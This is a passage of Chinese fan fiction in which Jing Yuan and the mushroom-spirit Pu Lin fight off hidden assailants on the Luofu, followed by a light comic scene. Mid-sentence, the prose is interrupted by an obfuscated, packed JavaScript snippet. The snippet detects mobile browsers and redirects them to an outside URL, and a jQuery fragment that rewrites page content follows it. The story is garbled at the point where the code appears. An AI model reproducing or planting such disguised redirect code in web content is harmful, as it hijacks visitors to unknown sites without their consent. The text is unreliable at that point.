这些零零碎碎的线索联系起来,指向性已经非常明显了吧。 景元眼眸微敛,所以......这就是那家伙前段时间总是心不在焉的原因吗? 不知不觉间,两人已经穿过热闹的市区,走到一处人烟稀少的小巷。 周围的观赏植被郁郁葱葱,微风轻拂,为行人送来馥郁的芬芳。在这片安静的时光下,似乎有什么看不见的影子在窜动。 蒲霖突然停下脚步。 “景元......你有感觉到什么不对吗?” 飒飒风声响起,菌丝悄无声息地蔓延,它们以最快的速度萦绕在两人周身。 攀上墙体,深入泥土,掠过高台,感知着每一处角落传来的讯息,宛如隐蔽的猎食者一般张开天罗地网。 无声的杀意攀上两人的脊椎。 他的角度看不见景元的表情,蒲霖并不知道对方的职业,一直没听到对方的声音只以为他害怕了。他小声安抚道,“别怕,有我在,我不会让你受伤的。” 就在他安慰同伴的霎那,一道凌厉的寒光倾泻而下,直朝两人头顶劈下! 蒲霖猛地上前一步,将身边人完全庇护住,他高举手臂,一面透明巨大的屏障凭空出现,将那些攻击全部拦下。 那些看似脆弱的菌丝以最快的速度交织,在半空凝结成了一道密不透风的屏障,在阳光的折射下,它闪烁着金属般的锋芒。 砰! 寒光与菌丝相撞产生强烈的冲击力,四周的砖墙迸发出一道道细小的裂缝,大量瓦片与碎屑被震落,二者摩擦间发出令人牙酸的滋滋声。 最终攻势散去,显露出的屏障毫发无损,它成功抗下了这次攻击。 他全神贯注地应对暗中的敌人,并没有注意到身后白发少年那过于冷静的眼神。 一击不中,多道猛烈的黑芒再次从不同角度袭来,尽数被屏障挡下。 但蒲霖的表情却不乐观。 他的菌丝更擅长侵蚀与暗中袭击,若要在瞬息间构筑起具备足够强度的保护屏障,消耗极大,不然之前也不会被丹枫的水龙直接冲破。 循着空气中的波动,那些透明的菌丝也找到了其中几人躲藏的方位,它们立刻缠住那些人形,释放出腐蚀性的毒素。 嗯? 菌丝传来的能量波动让蒲霖一怔,丰饶孽物?可这里是罗浮内部,怎么会出现...... 这个念头尚未成型,其余方位便不约而同地出现猛烈的攻势! 它们呼啸而至,宛如天罗地网般将他与景元完全笼罩。 蒲霖下意识想闪避开,却又徒然顿住。 如果他躲开,那身旁毫无防备之力的景元怎么办? 思及此处,他干脆不再避让,转而生生僵持在原地。 菌丝不断在周身凝聚成屏障,但敌人的速度太快,攻击轨迹相当诡谲,他顾着防护,便难以分出心神制敌。 一时间,战局僵持不下。 蒲霖的孢子传播性强,偏生需要时间。之前的战场开阔,敌我密集,它们便能如瘟疫般传播。可现在的位置,敌人分散且隐蔽,他的力量便会束手束脚,短时间内难以全部发挥。 在战场上他只需要全力攻击,有可靠的队友让他抛却后顾之忧。 而现在他独自承担着保护同伴的责任,作战心态被迫趋于防守与庇护,一时间便有种“手忙脚乱”的感觉。 蒲霖有些纳闷,怎么各种限制能力的buff都一次性被他撞上了,难道是他今天不宜出门吗? 眼看攻击越来越猛烈,蒲霖绷紧神经,一人迎敌的情况下他不敢分心,悄声道,“景元,我还需要点时间,这里不安全,我掩护你离开。” 一直沉默不言的少年突然开口道,“可是我走了,你要怎么办?” “没关系的,我......”蒲霖话音未落,余光却看见寒芒一闪,以一个刁钻的角色直冲少年的后心而去! “小心!” 电光火石间,蒲霖的注意力完全被那道攻击吸引,哪管什么前后夹击、虚晃一招的策略,条件反射地在对方身后竖起一道极厚的屏障。 砰! 白发飞扬间,那道暗杀被严严实实地拦下,消弭无踪。 蒲霖调用了绝大部分力量去庇护同伴,这也意味着自己正面即将失守。 不过瞬息间,敌人真正的杀招已如毒蛇般袭至眼前! 砰砰砰! 疾风骤起,随着几声闷响,预想中的创伤却未曾到来。 蒲霖微微睁大眼。 一柄舞动的阵刀裹挟着破空声横空而出,将那些带着恶意与杀机的攻击悉数粉碎。 只见那白发少年握着一柄超过身高的阵刀,唇边笑意从容,身姿挺拔如松。 刀刃与刀柄对半,古朴的纹理雕刻贯穿其中,鎏金的光辉在刀刃上流淌。 这柄阵刀由帝弓司命射灭星辰的光矢余烬锻造而成,此时握在它的主人手中,不断散发着强悍的威压。 金色的弧形雷光在刀刃处绽放,噼里啪啦地发出令人头皮发麻的电流声。 蒲霖的屏障全数挡下所有攻击,身经百战的云骑骁卫便没有了后顾之忧。 他眸光犀利,左手持刀,向前稳稳地迈出一步,从背后反手抛给右手的瞬间,手中金色网状的雷霆滋滋作响,对准敌人隐匿的方位倏然挥出一刀。 只一刀,所有南面的袭击者都遭了殃。 那道璀璨的弯月雷光击中后,便快速分裂成无数道小型的灿金刀光。以肉眼难以企及的速度,自动对雷光笼罩之下的数十米空间内进行无区别劈砍与轰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16802280|189760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 炸,建筑物像蒙上了一层难以直视的金光。 轰轰轰! 周遭的强化玻璃在瞬间全部被震碎,碎片如粉末般喷溅而出。 蒲霖:?! 云骑骁卫抓住机会,反手又劈出一刀。黑红残影交错,震耳欲聋的轰鸣声响起,争斗的余波冲刷过中心点位的两人,他身后的少年举起手肘,抵挡扑面而来的强风。 虽然震惊于小伙伴突然爆发的战力,但蒲霖反应也不落下风,那些柔韧的菌丝立刻竖起一面面坚韧的屏障,灵活地拦截下所有意图偷袭的锋芒。 因为靠近居民区,为避免造成恐慌,景元刻意地收敛了力道,但即便如此,石火梦身的威力依旧不容小觑。 最后一刀。 轰! 大地哀鸣,墙体粉碎,簌簌的碎石飞溅,较近的房屋甚至出现了倒塌之势,蜘蛛网般的裂痕遍布墙体,发出不堪重负的吱呀声,尘土弥漫。 造成这一切的某人气息平稳,他随意挽了一个刀花,便退至蒲霖的身边。 灰尘散去后,大地上数道裂痕深如沟壑,最长可达数十米,多个狼狈的身形也被深深地嵌入了地面,形成几个深深凹陷进去的大坑。 即便完全丧失反抗能力,那些人却还在喃喃自语,宛如癫狂之姿,“药王......慈怀.......”。 就在菌丝即将缠住他们的瞬间,景元清亮的声音蓦地响起: “等等,留活口!” 菌丝停滞了一瞬,转而将他们捆得严实,确保他们动弹不得,不会危害到其他人。 景元沉着道,“总得把他们带回去询问一二,是谁让他们在罗浮行凶的,又是怎么变成现在这样的。” 蒲霖点头,“那他们就这样放在这里吗?” “这个嘛......无需担心,很快就会有人来处理了,”景元晃了晃玉兆,“我已经联系上同僚,不到五分钟他们就会赶到,那时我们就可以安心离开了。” ...... 危机退去,尘埃落定,四周唯余寂静,蒲霖后知后觉地想起了自己几分钟前大言不惭的言论。 他:“......” 一股热乎的血液直冲脑门,少年的脸颊以极快的速度泛上红晕,连带着耳尖都变得滚烫。 蒲霖默默捂住脸,慢慢地、缓缓地蹲下,像是要缩到地缝里,整个人肉眼可见地褪色了。 他突然很想变回蘑菇,变回那个不起眼的蘑菇,然后找个阴暗潮湿的角落躲进去,除了丹枫,从此没有任何人能找到他。 景元再度确认过周围安全后,一转眼就发现少年蹲在地上蜷成一团,似乎很痛苦的样子。 他一惊:难道是刚才受伤了? 还没上前几步,他就敏锐地捕捉到对方指缝里透出的那抹颜色,甚至连发丝间的耳朵都没有幸免遇难。 “......” 景元眨了眨眼。 绷紧的心弦骤然松懈下来,一股奇妙的笑意随即涌上了心口。 “噗......咳咳,”他清了清嗓子,试图抑制住喉间的痒意,但肩膀的耸动始终无法克制,最终化作了少年人独有的张扬笑声,“......哈哈哈哈哈——!” 他的笑声回荡在这片空间,却像利刃一样扎痛了某人的心,地上那只“蘑菇”顿时变得更灰暗了,似乎整只菇都快碎掉了。 不好。 景元赶忙压下弯起的嘴角,努力释放出真诚的善意,“哎,抱歉,相信我,我真的不是在笑你,蒲霖。” 蒲霖不语,只是一味地捂脸。 景元低头看着那颗毛茸茸的脑袋,还有耳尖的红晕,只好翻了翻自己的口袋—— 唉,怪他,谁叫他没憋住笑呢,不过还好他有随身携带空间折叠器的习惯。 ——哦,找到了。 景元伸手揉了揉这颗一看就十分好揉的脑袋,认真道,“还要多谢你才是,先前多亏了你的掩护,我才能全无顾忌地挥出那几刀,将那些偷袭者全部制服。” “另外,正式认识一下,我叫景元,目前就职于......云骑军,”景元单膝点地,笑眯眯道。 “方才可是我们第一次并肩作战,我的出手是分内之事,倒是你,虽非云骑,反倒拥有常人没有的勇气与决心呢。” 蒲霖动了动,似乎被他成功说服了。就在他刚抬起头,想要说些什么时—— 热乎乎的脸颊便被凉气四溢的杯壁轻轻碰了一下。 “唔!” 他猝不及防地打了个哆嗦。 白发少年背对着阳光,偏暖色的眼眸像是盛满了融化的蜜糖,看不出一丝一毫的算计。 他摇了摇手里的塑料杯,冰块碰撞的清脆声清晰地传来,“我们配合得不错,给,前不久买的,上面的冰淇淋再不喝就要化了哦~”